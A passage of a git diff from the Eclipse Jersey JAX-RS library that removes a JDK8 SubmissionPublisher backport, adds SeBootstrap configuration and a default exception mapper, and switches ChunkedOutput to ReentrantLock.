-                    if (((c = ctl) & (ERROR | SUBSCRIBE | DISABLED)) != 0) {
-                        if (!checkControl(s, c)) {
-                            break;
-                        }
-                    } else if ((a = array) == null || h == tail
-                            || (n = a.length) == 0
-                            || (x = U.getObjectVolatile(a, (i = ((long) ((n - 1) & h) << ASHIFT) + ABASE))) == null) {
-                        if (!checkEmpty(s, c)) {
-                            break;
-                        }
-                    } else if (d == 0L) {
-                        if (!checkDemand(c)) {
-                            break;
-                        }
-                    } else if (((c & CONSUME) != 0
-                            || U.compareAndSwapInt(this, CTL, c, c | CONSUME))
-                            && U.compareAndSwapObject(a, i, x, null)) {
-                        U.putOrderedInt(this, HEAD, ++h);
-                        U.getAndAddLong(this, DEMAND, -1L);
-                        if ((w = waiter) != null) {
-                            signalWaiter(w);
-                        }
-                        try {
-                            @SuppressWarnings("unchecked") T y = (T) x;
-                            s.onNext(y);
-                        } catch (Throwable ex) {
-                            handleOnNext(s, ex);
-                        }
-                    }
-                }
-            }
-        }
-
-        /**
-         * Responds to control events in consume().
-         */
-        private boolean checkControl(Flow.Subscriber<? super T> s, int c) {
-            boolean stat = true;
-            if ((c & SUBSCRIBE) != 0) {
-                if (U.compareAndSwapInt(this, CTL, c, c & ~SUBSCRIBE)) {
-                    try {
-                        if (s != null) {
-                            s.onSubscribe(this);
-                        }
-                    } catch (Throwable ex) {
-                        onError(ex);
-                    }
-                }
-            } else if ((c & ERROR) != 0) {
-                Throwable ex = pendingError;
-                ctl = DISABLED;           // no need for CAS
-                if (ex != null) {         // null if errorless cancel
-                    try {
-                        if (s != null) {
-                            s.onError(ex);
-                        }
-                    } catch (Throwable ignore) {
-                    }
-                }
-            } else {
-                detach();
-                stat = false;
-            }
-            return stat;
-        }
-
-        /**
-         * Responds to apparent emptiness in consume().
-         */
-        private boolean checkEmpty(Flow.Subscriber<? super T> s, int c) {
-            boolean stat = true;
-            if (head == tail) {
-                if ((c & CONSUME) != 0) {
-                    U.compareAndSwapInt(this, CTL, c, c & ~CONSUME);
-                } else if ((c & COMPLETE) != 0) {
-                    if (U.compareAndSwapInt(this, CTL, c, DISABLED)) {
-                        try {
-                            if (s != null) {
-                                s.onComplete();
-                            }
-                        } catch (Throwable ignore) {
-                        }
-                    }
-                } else if (U.compareAndSwapInt(this, CTL, c, c & ~ACTIVE)) {
-                    stat = false;
-                }
-            }
-            return stat;
-        }
-
-        /**
-         * Responds to apparent zero demand in consume().
-         */
-        private boolean checkDemand(int c) {
-            boolean stat = true;
-            if (demand == 0L) {
-                if ((c & CONSUME) != 0) {
-                    U.compareAndSwapInt(this, CTL, c, c & ~CONSUME);
-                } else if (U.compareAndSwapInt(this, CTL, c, c & ~ACTIVE)) {
-                    stat = false;
-                }
-            }
-            return stat;
-        }
-
-        /**
-         * Processes exception in Subscriber.onNext.
-         */
-        private void handleOnNext(Flow.Subscriber<? super T> s, Throwable ex) {
-            BiConsumer<? super Flow.Subscriber<? super T>, ? super Throwable> h;
-            if ((h = onNextHandler) != null) {
-                try {
-                    h.accept(s, ex);
-                } catch (Throwable ignore) {
-                }
-            }
-            onError(ex);
-        }
-
-        // Unsafe mechanics
-        private static final sun.misc.Unsafe U = UnsafeAccessor.getUnsafe();
-        private static final long CTL;
-        private static final long TAIL;
-        private static final long HEAD;
-        private static final long DEMAND;
-        private static final int ABASE;
-        private static final int ASHIFT;
-
-        static {
-            try {
-                CTL = U.objectFieldOffset(BufferedSubscription.class.getDeclaredField("ctl"));
-                TAIL = U.objectFieldOffset(BufferedSubscription.class.getDeclaredField("tail"));
-                HEAD = U.objectFieldOffset(BufferedSubscription.class.getDeclaredField("head"));
-                DEMAND = U.objectFieldOffset(BufferedSubscription.class.getDeclaredField("demand"));
-
-                ABASE = U.arrayBaseOffset(Object[].class);
-                int scale = U.arrayIndexScale(Object[].class);
-                if ((scale & (scale - 1)) != 0) {
-                    throw new Error("data type scale not a power of two");
-                }
-                ASHIFT = 31 - Integer.numberOfLeadingZeros(scale);
-            } catch (ReflectiveOperationException e) {
-                throw new Error(e);
-            }
-
-            // Reduce the risk of rare disastrous classloading in first call to
-            // LockSupport.park: https://bugs.openjdk.java.net/browse/JDK-8074773
-            Class<?> ensureLoaded = LockSupport.class;
-        }
-    }
-}
diff --git a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/SubmissionPublisherFactory.java b/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/SubmissionPublisherFactory.java
deleted file mode 100644
index 3729469..0000000
--- a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/SubmissionPublisherFactory.java
+++ /dev/null
@@ -1,53 +0,0 @@
-/*
- * Copyright (c) 2019 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.internal.jsr166;
-
-import java.util.concurrent.Executor;
-import java.util.concurrent.ForkJoinPool;
-import java.util.function.BiConsumer;
-
-/**
- * Factory creating JDK8 compatible SubmissionPublisher (Jdk8SubmissionPublisher) or JDK 9+ SubmissionPublisher
- */
-public class SubmissionPublisherFactory {
-
-    /**
-     * Creates a new SubmissionPublisher using the {@link
-     * ForkJoinPool#commonPool()} for async delivery to subscribers
-     * (unless it does not support a parallelism level of at least two,
-     * in which case, a new Thread is created to run each task), with
-     * maximum buffer capacity of {@link Flow#defaultBufferSize}, and no
-     * handler for Subscriber exceptions in method {@link
-     * Flow.Subscriber#onNext(Object) onNext}.
-     */
-    public static <T> SubmittableFlowPublisher<T> createSubmissionPublisher() {
-        return new SubmissionPublisher<T>();
-    }
-
-    public static <T> SubmittableFlowPublisher<T> createSubmissionPublisher(Executor executor,
-                                                                            int maxBufferCapacity) {
-        return new SubmissionPublisher<T>(executor, maxBufferCapacity);
-    }
-
-    public static <T> SubmittableFlowPublisher<T> createSubmissionPublisher(Executor executor,
-                                                                            int maxBufferCapacity,
-                                                                            BiConsumer<? super Flow.Subscriber<? super T>,
-                                                                                    ? super Throwable> handler) {
-        return new SubmissionPublisher<T>(executor, maxBufferCapacity, handler);
-    }
-
-}
diff --git a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/UnsafeAccessor.java b/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/UnsafeAccessor.java
deleted file mode 100644
index 19f9887..0000000
--- a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/UnsafeAccessor.java
+++ /dev/null
@@ -1,53 +0,0 @@
-/*
- * Copyright (c) 2017, 2019 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.internal.jsr166;
-
-import sun.misc.Unsafe;
-
-import java.lang.reflect.Field;
-import java.security.PrivilegedExceptionAction;
-
-/**
- * Helper for classes in the jsr166 package to access the {@code sun.misc.Unsafe} instance.
- *
- * @author Adam Lindenthal
- */
-class UnsafeAccessor {
-    static sun.misc.Unsafe getUnsafe() {
-        try {
-            return sun.misc.Unsafe.getUnsafe();
-        } catch (SecurityException tryReflectionInstead) {
-        }
-        try {
-            return java.security.AccessController.doPrivileged((PrivilegedExceptionAction<Unsafe>) () -> {
-                Class<Unsafe> k = Unsafe.class;
-                for (Field f : k.getDeclaredFields()) {
-                    f.setAccessible(true);
-                    Object x = f.get(null);
-                    if (k.isInstance(x)) {
-                        return k.cast(x);
-                    }
-                }
-                throw new NoSuchFieldError("the Unsafe");
-            });
-        } catch (java.security.PrivilegedActionException e) {
-            throw new RuntimeException("Could not initialize intrinsics", e.getCause());
-        }
-
-
-    }
-}
diff --git a/core-common/src/main/resources/META-INF/native-image/org.glassfish.jersey.core/jersey-common/reflect-config.json b/core-common/src/main/resources/META-INF/native-image/org.glassfish.jersey.core/jersey-common/reflect-config.json
index ef2ae4d..184402f 100644
--- a/core-common/src/main/resources/META-INF/native-image/org.glassfish.jersey.core/jersey-common/reflect-config.json
+++ b/core-common/src/main/resources/META-INF/native-image/org.glassfish.jersey.core/jersey-common/reflect-config.json
@@ -58,6 +58,12 @@
     "allDeclaredConstructors":true
   },
   {
+    "name":"org.glassfish.jersey.message.internal.PathProvider",
+    "allDeclaredFields":true,
+    "allDeclaredMethods":true,
+    "allDeclaredConstructors":true
+  },
+  {
     "name":"org.glassfish.jersey.message.internal.FormMultivaluedMapProvider",
     "allDeclaredFields":true,
     "allDeclaredMethods":true,
diff --git a/core-common/src/main/resources/org/glassfish/jersey/internal/localization.properties b/core-common/src/main/resources/org/glassfish/jersey/internal/localization.properties
index e546e16..e9cd448 100644
--- a/core-common/src/main/resources/org/glassfish/jersey/internal/localization.properties
+++ b/core-common/src/main/resources/org/glassfish/jersey/internal/localization.properties
@@ -117,6 +117,7 @@
 new.cookie.is.null=New cookie is null.
 no.container.available=No container available.
 no.error.processing.in.scope=There is no error processing in scope.
+no.entitypart.builder.found="No EntityPart.Builder implementation found. Is jersey-media-multipart on a classpath?";
 not.supported.on.outbound.message=Method not supported on an outbound message.
 osgi.registry.error.opening.resource.stream=Unable to open an input stream for resource {0}.
 osgi.registry.error.processing.resource.stream=Unexpected error occurred while processing resource stream {0}.
diff --git a/core-common/src/test/java/org/glassfish/jersey/internal/TestRuntimeDelegate.java b/core-common/src/test/java/org/glassfish/jersey/internal/TestRuntimeDelegate.java
index 55884e1..b7d0472 100644
--- a/core-common/src/test/java/org/glassfish/jersey/internal/TestRuntimeDelegate.java
+++ b/core-common/src/test/java/org/glassfish/jersey/internal/TestRuntimeDelegate.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,8 +16,10 @@
 
 package org.glassfish.jersey.internal;
 
+import jakarta.ws.rs.SeBootstrap;
 import jakarta.ws.rs.WebApplicationException;
 import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.EntityPart;
 import jakarta.ws.rs.core.Link;
 import jakarta.ws.rs.core.MediaType;
 import jakarta.ws.rs.core.Response;
@@ -29,6 +31,8 @@
 
 import org.junit.jupiter.api.Assertions;
 
+import java.util.concurrent.CompletionStage;
+
 /**
  * Test runtime delegate.
  *
@@ -46,6 +50,22 @@
         throw new UnsupportedOperationException("Not supported yet.");
     }
 
+    @Override
+    public SeBootstrap.Configuration.Builder createConfigurationBuilder() {
+        throw new UnsupportedOperationException("Not supported yet.");
+    }
+
+    @Override
+    public CompletionStage<SeBootstrap.Instance> bootstrap(Application application, SeBootstrap.Configuration configuration) {
+        throw new UnsupportedOperationException("Not supported yet.");
+    }
+
+    @Override
+    public CompletionStage<SeBootstrap.Instance> bootstrap(Class<? extends Application> aClass,
+                                                           SeBootstrap.Configuration configuration) {
+        throw new UnsupportedOperationException("Not supported yet.");
+    }
+
     public void testMediaType() {
         MediaType m = new MediaType("text", "plain");
         Assertions.assertNotNull(m);
diff --git a/core-common/src/test/java/org/glassfish/jersey/message/internal/NewCookieProviderTest.java b/core-common/src/test/java/org/glassfish/jersey/message/internal/NewCookieProviderTest.java
new file mode 100644
index 0000000..bed3458
--- /dev/null
+++ b/core-common/src/test/java/org/glassfish/jersey/message/internal/NewCookieProviderTest.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.message.internal;
+
+import jakarta.ws.rs.core.NewCookie;
+import org.junit.jupiter.api.Test;
+
+import java.util.Date;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class NewCookieProviderTest {
+
+    private final NewCookie newCookie = new NewCookie(
+            "test",
+            "value",
+            "/",
+            "localhost",
+            1,
+            "comment",
+            60,
+            new Date(),
+            true,
+            true,
+            NewCookie.SameSite.STRICT
+    );
+
+    @Test
+    public void SameSiteTest() {
+        final NewCookieProvider provider = new NewCookieProvider();
+        final String newCookieString = provider.toString(newCookie);
+        assertTrue(newCookieString.contains("SameSite=Strict"));
+        assertEquals(NewCookie.SameSite.STRICT, provider.fromString(newCookieString).getSameSite());
+    }
+
+}
diff --git a/core-server/pom.xml b/core-server/pom.xml
index 171512f..8f94e4b 100644
--- a/core-server/pom.xml
+++ b/core-server/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.core</groupId>
@@ -249,20 +249,16 @@
             <version>${project.version}</version>
             <scope>test</scope>
         </dependency>
+
+        <dependency>
+            <groupId>org.assertj</groupId>
+            <artifactId>assertj-core</artifactId>
+            <scope>test</scope>
+        </dependency>
     </dependencies>
 
     <profiles>
         <profile>
-            <id>jdk8</id>
-            <activation>
-                <jdk>1.8</jdk>
-            </activation>
-            <properties>
-                <jboss.vfs.version>${jboss.vfs.jdk8.version}</jboss.vfs.version>
-                <jboss.logging.version>${jboss.logging.8.version}</jboss.logging.version>
-            </properties>
-        </profile>
-        <profile>
             <id>securityOff</id>
             <activation>
                 <jdk>[24,)</jdk>
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/ApplicationHandler.java b/core-server/src/main/java/org/glassfish/jersey/server/ApplicationHandler.java
index 42d11dd..730d1ce 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/ApplicationHandler.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/ApplicationHandler.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2011, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2011, 2023 Oracle and/or its affiliates. All rights reserved.
  * Copyright (c) 2018 Payara Foundation and/or its affiliates.
  *
  * This program and the accompanying materials are made available under the
@@ -66,7 +66,6 @@
 import org.glassfish.jersey.message.MessageBodyWorkers;
 import org.glassfish.jersey.message.internal.MessageBodyFactory;
 import org.glassfish.jersey.message.internal.MessagingBinders;
-import org.glassfish.jersey.message.internal.NullOutputStream;
 import org.glassfish.jersey.model.internal.ComponentBag;
 import org.glassfish.jersey.model.internal.ManagedObjectsFinalizer;
 import org.glassfish.jersey.model.internal.RankedComparator;
@@ -222,7 +221,20 @@
      *                              application handler.
      */
     public ApplicationHandler(final Class<? extends Application> jaxrsApplicationClass) {
-        initialize(new ApplicationConfigurator(jaxrsApplicationClass), Injections.createInjectionManager(), null);
+        this(jaxrsApplicationClass, null);
+    }
+
+    /**
+     * Create a new Jersey server-side application handler configured by a
+     * {@link Application JAX-RS Application (sub-)class}.
+     *
+     * @param applicationClass JAX-RS {@code Application} (sub-)class that will be
+     *                              instantiated and used to configure the new Jersey
+     *                              application handler.
+     * @param customBinder additional custom bindings used to configure the application's.
+     */
+    public ApplicationHandler(final Class<? extends Application> applicationClass, final Binder customBinder) {
+        initialize(new ApplicationConfigurator(applicationClass), Injections.createInjectionManager(), customBinder);
     }
 
     /**
@@ -573,7 +585,7 @@
      * @return response future.
      */
     public Future<ContainerResponse> apply(final ContainerRequest requestContext) {
-        return apply(requestContext, new NullOutputStream());
+        return apply(requestContext, OutputStream.nullOutputStream());
     }
 
     /**
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/ChunkedOutput.java b/core-server/src/main/java/org/glassfish/jersey/server/ChunkedOutput.java
index 3220c37..a0fedf4 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/ChunkedOutput.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/ChunkedOutput.java
@@ -26,6 +26,8 @@
 import java.util.concurrent.Callable;
 import java.util.concurrent.LinkedBlockingDeque;
 import java.util.concurrent.atomic.AtomicBoolean;
+import java.util.concurrent.locks.Lock;
+import java.util.concurrent.locks.ReentrantLock;
 
 import jakarta.ws.rs.container.ConnectionCallback;
 import jakarta.ws.rs.core.GenericType;
@@ -54,7 +56,7 @@
     private final BlockingDeque<T> queue;
     private final byte[] chunkDelimiter;
     private final AtomicBoolean resumed = new AtomicBoolean(false);
-    private final Object lock = new Object();
+    private final Lock lock = new ReentrantLock();
 
     // the following flushing and touchingEntityStream variables are used in a synchronized block exclusively
     private boolean flushing = false;
@@ -279,7 +281,8 @@
                     boolean shouldClose;
                     T t;
 
-                    synchronized (lock) {
+                    lock.lock();
+                    try {
                         if (flushing) {
                             // if another thread is already flushing the queue, we don't have to do anything
                             return null;
@@ -297,13 +300,15 @@
                             // and they don't have to bother
                             flushing = true;
                         }
+                    } finally {
+                        lock.unlock();
                     }
 
                     while (t != null) {
                         try {
-                            synchronized (lock) {
-                                touchingEntityStream = true;
-                            }
+                            lock.lock();
+                            touchingEntityStream = true;
+                            lock.unlock();
 
                             final OutputStream origStream = responseContext.getEntityStream();
                             final OutputStream writtenStream = requestContext.getWorkers().writeTo(
@@ -342,14 +347,15 @@
                             }
                             throw mpe;
                         } finally {
-                            synchronized (lock) {
-                                touchingEntityStream = false;
-                            }
+                           lock.lock();
+                           touchingEntityStream = false;
+                           lock.unlock();
                         }
 
                         t = queue.poll();
                         if (t == null) {
-                            synchronized (lock) {
+                            lock.lock();
+                            try {
                                 // queue seems empty
                                 // check again in the synchronized block before clearing the flushing flag
                                 // first remember the closed flag (this has to be before polling the queue,
@@ -367,6 +373,8 @@
                                     flushing = shouldClose;
                                     break;
                                 }
+                            } finally {
+                                lock.unlock();
                             }
                         }
                     }
@@ -380,18 +388,20 @@
             onClose(e);
         } finally {
             if (closed) {
+                lock.lock();
                 try {
-                    synchronized (lock) {
-                        if (!touchingEntityStream) {
-                            responseContext.close();
-                        } // else the next thread will close responseContext
-                    }
+                    if (!touchingEntityStream) {
+                        responseContext.close();
+                    } // else the next thread will close responseContext
                 } catch (final Exception e) {
                     // if no exception remembered before, remember this one
                     // otherwise the previously remembered exception (from catch clause) takes precedence
                     ex = ex == null ? e : ex;
+                } finally {
+                    lock.unlock();
                 }
 
+
                 requestScopeContext.release();
 
                 // rethrow remembered exception (if any)
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/ContainerRequest.java b/core-server/src/main/java/org/glassfish/jersey/server/ContainerRequest.java
index 3105c2f..6d9fba2 100644
--- a/core-server/src/main/java/org/glassfish/jersey/server/ContainerRequest.java
+++ b/core-server/src/main/java/org/glassfish/jersey/server/ContainerRequest.java
@@ -301,6 +301,11 @@
     }
 
     @Override
+    public boolean hasProperty(final String name) {
+        return propertiesDelegate.hasProperty(name);
+    }
+
+    @Override
     public Object getProperty(final String name) {
         return propertiesDelegate.getProperty(name);
     }
@@ -821,13 +826,13 @@
     }
 
     /**
-     * Get the values of a HTTP request header. The returned List is read-only.
-     * This is a shortcut for {@code getRequestHeaders().get(name)}.
+     * Get the values of an HTTP request header if the header exists on the current request. The returned value will be
+     * a read-only List if the specified header exists or {@code null} if it does not. This is a shortcut for
+     * {@code getRequestHeaders().get(name)}.
      *
      * @param name the header name, case insensitive.
-     * @return a read-only list of header values.
-     *
-     * @throws IllegalStateException if called outside the scope of a request.
+     * @return a read-only list of header values if the specified header exists, otherwise {@code null}.
+     * @throws java.lang.IllegalStateException if called outside the scope of a request.
      */
     @Override
     public List<String> getRequestHeader(final String name) {
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/DefaultExceptionMapper.java b/core-server/src/main/java/org/glassfish/jersey/server/DefaultExceptionMapper.java
new file mode 100644
index 0000000..bd7c4d1
--- /dev/null
+++ b/core-server/src/main/java/org/glassfish/jersey/server/DefaultExceptionMapper.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.server;
+
+import jakarta.ws.rs.WebApplicationException;
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.ext.ExceptionMapper;
+import org.glassfish.jersey.server.internal.LocalizationMessages;
+
+class DefaultExceptionMapper implements ExceptionMapper<Throwable> {
+    @Override
+    public Response toResponse(Throwable exception) {
+        return (exception instanceof WebApplicationException)
+                ? processWebApplicationException((WebApplicationException) exception)
+                : processDefaultException(exception);
+    }
+
+    private static Response processWebApplicationException(WebApplicationException exception) {
+        return (exception.getResponse() == null)
+                ? processDefaultException(exception)
+                : exception.getResponse();
+    }
+
+    private static Response processDefaultException(Throwable exception) {
+        return Response.status(Response.Status.INTERNAL_SERVER_ERROR)
+                .entity(LocalizationMessages.ERROR_EXCEPTION_MAPPING_THROWN_TO_CONTAINER())
+                .build();
+    }
+}
diff --git a/core-server/src/main/java/org/glassfish/jersey/server/JerseySeBootstrapConfiguration.java b/core-server/src/main/java/org/glassfish/jersey/server/JerseySeBootstrapConfiguration.java
new file mode 100644
index 0000000..0f1d6d7
--- /dev/null
+++ b/core-server/src/main/java/org/glassfish/jersey/server/JerseySeBootstrapConfiguration.java
@@ -0,0 +1,321 @@
+/*
+ * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.server;
+
+import jakarta.ws.rs.SeBootstrap;
+import jakarta.ws.rs.core.UriBuilder;
+import org.glassfish.jersey.internal.config.ExternalPropertiesConfigurationFactory;
+import org.glassfish.jersey.internal.config.SystemPropertiesConfigurationModel;
+import org.glassfish.jersey.internal.util.PropertiesClass;
+import org.glassfish.jersey.server.internal.LocalizationMessages;
+import org.glassfish.jersey.server.spi.Container;
+import org.glassfish.jersey.server.spi.WebServer;
+
+import javax.net.ssl.SSLContext;
+import java.io.IOException;
+import java.net.ServerSocket;
+import java.net.URI;
+import java.security.NoSuchAlgorithmException;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.Optional;
+import java.util.Random;
+import java.util.function.BiFunction;
+import java.util.logging.Logger;
+
+import static java.lang.Boolean.FALSE;
+import static java.lang.Boolean.TRUE;
+
+/**
+ * Jersey implementation of {@link SeBootstrap.Configuration} implementing arbitrary methods for acquiring
+ * the configuration settings.
+ * @since 3.1.0
+ */
+public final class JerseySeBootstrapConfiguration implements SeBootstrap.Configuration {
+    private static final Logger LOGGER = Logger.getLogger(JerseySeBootstrapConfiguration.class.getName());
+    protected static final Random RANDOM = new Random();
+    private final SeBootstrap.Configuration configuration;
+
+    private JerseySeBootstrapConfiguration(SeBootstrap.Configuration configuration) {
+        this.configuration = configuration;
+    }
+
+    @Override
+    public Object property(String name) {
+        return configuration.property(name);
+    }
+
+    /**
+     * Compose {@link URI} based on properties defined in this configuration.
+     * @param resolveDefaultPort if {@code true} the port is not set, it is resolved as
+     *                           {@link Container#DEFAULT_HTTP_PORT} or {@link Container#DEFAULT_HTTPS_PORT}
+     *                           based on the protocol scheme.
+     * @return Composed {@link URI} based on properties defined in this configuration.
+     */
+    public URI uri(boolean resolveDefaultPort) {
+        final String protocol = configuration.protocol();
+        final String host = configuration.host();
+        final int port = resolveDefaultPort ? resolvePort() : configuration.port();
+        final String rootPath = configuration.rootPath();
+        final URI uri = UriBuilder.newInstance().scheme(protocol.toLowerCase()).host(host).port(port).path(rootPath)
+                .build();
+        return uri;
+    }
+
+    private int resolvePort() {
+        final int configPort = configuration.port();
+        final int basePort = allowPrivilegedPorts() ? 0 : 8000;
+        final int port;
+        switch (configPort) {
+            case SeBootstrap.Configuration.DEFAULT_PORT:
+                port = basePort + (isHttps() ? Container.DEFAULT_HTTPS_PORT : Container.DEFAULT_HTTP_PORT);
+                break;
+            case SeBootstrap.Configuration.FREE_PORT:
+               port = _resolvePort(basePort == 0);
+               break;
+            default:
+                port = configPort;
+                break;
+        }
+        return port;
+    }
+
+    private int _resolvePort(boolean allowPrivilegedPort) {
+        final int basePort = allowPrivilegedPort ? 0 : 1024;
+        // Get the initial range parameters
+        final int lower = basePort;
+        final int range = 0xFFFF;
+
+        // Select a start point in the range
+        final int initialOffset = RANDOM.nextInt(range - lower);
+
+        // Loop the offset through all ports in the range and attempt
+        // to bind to each
+        int offset = initialOffset;
+        ServerSocket socket;
+        do {
+            final int port = lower + offset;
+            try {
+                socket = new ServerSocket(port);
+                socket.close();
+                return port;
+            } catch (IOException caught) {
+                // Swallow exceptions until the end
+            }
+            offset = (offset + 1) % range;
+        } while (offset != initialOffset);
+
+        // If a port can't be bound, throw the exception
+        throw new IllegalArgumentException(LocalizationMessages.COULD_NOT_BIND_TO_ANY_PORT());
+    }
+
+    /**
+     * Return {@link SSLContext} in the configuration if the protocol scheme is {@code HTTPS}.
+     * @return the SSLContext in the configuration.
+     */
+    @Override
+    public SSLContext sslContext() {
+        final SSLContext sslContext = configuration.sslContext();
+        return isHttps() ? sslContext : null;
+    }
+
+    /**
+     * If the protocol schema is {@code HTTPS}, return {@code true}.
+     * @return {@code true} when the protocol schema is {@code HTTPS}.
+     */
+    public boolean isHttps() {
+        return "HTTPS".equalsIgnoreCase(configuration.protocol());
+    }
+
+    /**
+     * Defines if the {@link WebServer} should automatically start.
+     * @return false if {@link ServerProperties#WEBSERVER_AUTO_START} is {@code false}, {@code true} otherwise.
+     */
+    public boolean autoStart() {
+        final boolean autoStart = Optional.ofNullable(
+                (Boolean) configuration.property(ServerProperties.WEBSERVER_AUTO_START))
+                .orElse(TRUE);
+        return autoStart;
+    }
+
+    /**
+     * Defines if the {@link WebServer} should start on a privileged port when port is not set.
+     * @return true if {@link ServerProperties#WEBSERVER_AUTO_START} is {@code true}, {@code false} otherwise.
+     */
+    public boolean allowPrivilegedPorts() {
+        return Optional.ofNullable(
+                (Boolean) configuration.property(ServerProperties.WEBSERVER_ALLOW_PRIVILEGED_PORTS))
+                .orElse(FALSE);
+    }
+
+    /**
+     * Factory method creating {@code JerseySeBootstrapConfiguration} wrapper around {@link SeBootstrap.Configuration}.
+     * @param configuration wrapped configuration
+     * @return {@code JerseySeBootstrapConfiguration} wrapper around {@link SeBootstrap.Configuration}.
+     */
+    public static JerseySeBootstrapConfiguration from(SeBootstrap.Configuration configuration) {
+        return JerseySeBootstrapConfiguration.class.isInstance(configuration)
+                ? (JerseySeBootstrapConfiguration) configuration
+                : new JerseySeBootstrapConfiguration(configuration);
+    }
+
+    /**
+     * Return a Jersey instance of {@link SeBootstrap.Configuration.Builder} with prefilled values.
+     * @return a Jersey instance of {@link SeBootstrap.Configuration.Builder}.
+     */
+    public static Builder builder() {
+        return new Builder();
+    }
+
+    public static final class Builder implements SeBootstrap.Configuration.Builder {
+        private static final Map<String, Class<?>> PROPERTY_TYPES = new HashMap<>();
+
+        static {
+            PROPERTY_TYPES.put(SeBootstrap.Configuration.PROTOCOL, String.class);
+            PROPERTY_TYPES.put(SeBootstrap.Configuration.HOST, String.class);
+            PROPERTY_TYPES.put(SeBootstrap.Configuration.PORT, Integer.class);
+            PROPERTY_TYPES.put(SeBootstrap.Configuration.ROOT_PATH, String.class);
+            PROPERTY_TYPES.put(SeBootstrap.Configuration.SSL_CONTEXT, SSLContext.class);
+            PROPERTY_TYPES.put(SeBootstrap.Configuration.SSL_CLIENT_AUTHENTICATION, SSLClientAuthentication.class);
